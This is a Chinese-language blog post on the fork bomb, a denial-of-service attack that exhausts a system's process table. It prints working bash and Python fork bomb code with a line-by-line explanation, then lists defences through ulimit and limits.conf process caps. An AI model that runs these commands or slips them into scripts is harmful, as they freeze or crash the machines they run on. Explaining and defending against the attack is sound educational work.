天天看點

【安全測試】程序炸彈:Fork Bomb

一、fork bomb介紹

fork炸彈(fork bomb)在計算機領域中是一種利用系統調用fork(或其他等效的方式)進行的阻斷服務攻擊。與病毒與蠕蟲不同的是,fork炸彈沒有傳染性,而且fork炸彈會使有程序/程式限制的系統無法開起新工作階段,對于不限制程序數的系統則使之停止回應。以fork炸彈為代表的自我複制程式有時亦被稱為wabbit。

二、原理

fork炸彈以極快的速度建立大量程序(程序數呈以2為底數的指數增長趨勢),并以此消耗系統配置設定予程序的可用空間使程序表飽和,而系統在程序表飽和後就無法運作新程式,使系統的正常運作受到嚴重影響。

除了惡意觸發fork炸彈破壞的情況外,軟體開發中有時也會不慎在程式中嵌入fork炸彈,如在用于監聽網絡套接字并行使用戶端-伺服器結構系統中伺服器端職責的應用程式中可能需要無限地進行循環(loop)與派生(fork)操作(類似下節示例程式所示),而在這種情況下源代碼内的細微錯誤就可能在測試中“引爆”fork炸彈。

三、攻擊手段

  • linux fork炸彈:
:() { :|:& };:

或者

bomb()
{
    bomb|bomb&
};
bomb
           

可以更改格式注解下:

:()
{
:|: &
}
;
:
           

注解:

  • 第 1 行說明定義一個函數,函數名為:,沒有可選參數。
  • 第 2 行表示函數體開始。
  • 第 3 行是函數體,首先它遞歸調用本函數,然後利用管道調用一個新程序(它要做的事情也是遞歸調用本函數),并将其放到背景執行。
  • 第 4 行表示函數體結束。
  • 第 5 行在指令行中用來分隔兩個指令用。
  • 第 6 行表示調用本函數。

冒号”:”其實是函數名,這個bash腳本就是在不斷的執行該函數,然後不斷fork出新的程序。

執行完,機器立馬中斷服務了:

【安全測試】程式炸彈:Fork Bomb
  • python fork炸彈
import os
while True: 
    os.fork()
           

三、預防

由于Fork Bomb透過不斷的開新程序來癱瘓系統,一個防止其嚴重影響系統的方法就是限定一個使用者能夠建立的程序數的上限,

(1)在Linux系統上,可以通過ulimit這個指令達到相應的效果,例如:

ulimit -Hu 30 這個指令可以限制每一個使用者最多隻能建立30個程序
           

但是上面這種方式機器重新開機設定會失效,最好用下面寫到配置裡的方式

通過修改配置檔案/etc/security/limits.conf來限制可生成的最大程序數來避開這枚炸彈。

XXXX          -       nproc           20 (在檔案件中加這麼一行,XXX是你要限制的那個使用者名)
           

而FreeBSD系統的話系統管理者可以在/etc/login.conf底下的配置檔案進行相關的設定

配置完最好試一下有沒有生效

【安全測試】程式炸彈:Fork Bomb

繼續閱讀